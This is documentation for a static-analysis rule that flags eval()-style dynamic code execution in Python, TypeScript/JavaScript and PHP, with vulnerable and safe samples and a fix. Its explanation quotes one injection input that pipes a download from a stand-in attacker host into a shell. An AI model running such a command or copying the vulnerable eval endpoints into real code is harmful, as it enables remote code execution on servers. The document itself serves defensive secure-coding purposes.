SKY-D201 · Security in code
Dynamic code execution with eval
eval() takes a string and runs it as code. SKY-D201 reports eval() calls whose code is not proven to be fixed text, plus the PHP functions that do the same job.
- Languages
- Python, TypeScript/JavaScript, PHP
- Quality gate
- counted toward the gate limits; a CRITICAL finding fails the gate on its own (full and diff scans). Python findings are HIGH and only counted. A Python call whose code is fixed text is hidden from the default list but still counted.
- Finding type
- review
- Catalog name
- Dynamic code execution via eval
Why it matters
A calculator endpoint that runs eval(request.args["expr"]) will also run __import__("os").system("curl evil.example | sh") when a visitor types it. That gives the visitor the same rights on the server as the application.
What Skylos flags
from flask import Flask, request app = Flask(__name__) @app.get("/calc")def calc(): expression = request.args.get("expr", "0") result = eval(expression) return {"result": result}What Skylos leaves alone
import ast from flask import Flask, request app = Flask(__name__) @app.get("/calc")def calc(): expression = request.args.get("expr", "[]") values = ast.literal_eval(expression) return {"total": sum(values)}Why Skylos leaves it alone
ast.literal_eval() only accepts literals such as numbers, strings, lists and dicts, and never calls a function. Skylos matches the builtin eval by its resolved name, so a different function that merely ends in eval is not a match.
More languages
TypeScript
Flagged
import express from "express"; const app = express(); app.get("/calc", (req, res) => { const expression = String(req.query.expr ?? "0"); res.json({ result: eval(expression) });});Not flagged
import express from "express"; const app = express(); app.get("/calc", (req, res) => { const values: number[] = JSON.parse(String(req.query.values ?? "[]")); res.json({ total: values.reduce((sum, value) => sum + value, 0) });});Why Skylos leaves it alone
JSON.parse() turns text into data and cannot run code. In TypeScript and JavaScript every call to the global eval is reported unless its argument is a constant.
How Skylos decides
- Python: resolves each call's name through imports and simple assignments, including a builtin stored in a variable (
run = eval), and matches the builtineval. Methods calledevalon other objects do not match. - Skips a call proved to run the project's own checked-in source: a module file under the project, located from
__file__, read, parsed withast.parse, compiled and run in a fresh namespace dict. Any other step in that chain keeps the call reported. - Reports the rest as HIGH. When every value that can reach the code argument is fixed text that reads no outside name (for example
eval("60 * 60 * 24")), the finding is still reported but marked as low-risk: it is hidden from the default list, stays in JSON output and is counted by the gate. - TypeScript and JavaScript: every call to the global
eval(...)is reported as CRITICAL unless its argument is a constant: literals,Math.random()/Math.floor()arithmetic,.toString()of those, elements of a literal array andconstnames bound to them (a captcha that evaluates3+7*2). Request data reaching mathjseval/evaluate, notevil or safe-eval is reported too (CRITICAL for mathjs, HIGH for the sandboxes), also when a fixedvm.runInContextcode string calls them on sandbox data. - PHP:
eval(),create_function()andpreg_replace()with the/emodifier are CRITICAL when request data reaches the code and HIGH when the code is any other non-constant value;assert()is reported (HIGH) only for request data. Fixed code is not reported.
How to fix it
Parse data with a parser that cannot run code, such as ast.literal_eval() or json.loads(). For real formulas, use a small expression library with a fixed set of operators instead of eval().
Added: import jsonAdded: from flask import Flask, request app = Flask(__name__) @app.get("/calc")def calc():Removed: expression = request.args.get("expr", "0")Removed: result = eval(expression)Removed: return {"result": result}Added: values = json.loads(request.args.get("values", "[]"))Added: return {"total": sum(float(value) for value in values)}When it can be wrong
- In TypeScript and JavaScript,
eval("1 + 1")with a literal is reported as CRITICAL, although it cannot carry input. - In Python, a fixed-text
eval()still counts toward the gate even though the default list hides it.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
Mark a reviewed call on its own line. A bare
# noqadoes not hide a HIGH or CRITICAL security finding.Python result = eval(expression) # skylos: ignore[SKY-D201] expression is from FORMULASAccept existing findings with
skylos baseline ., then scan with--baseline.[tool.skylos] ignore = ["SKY-D201"]turns the rule off for the whole project.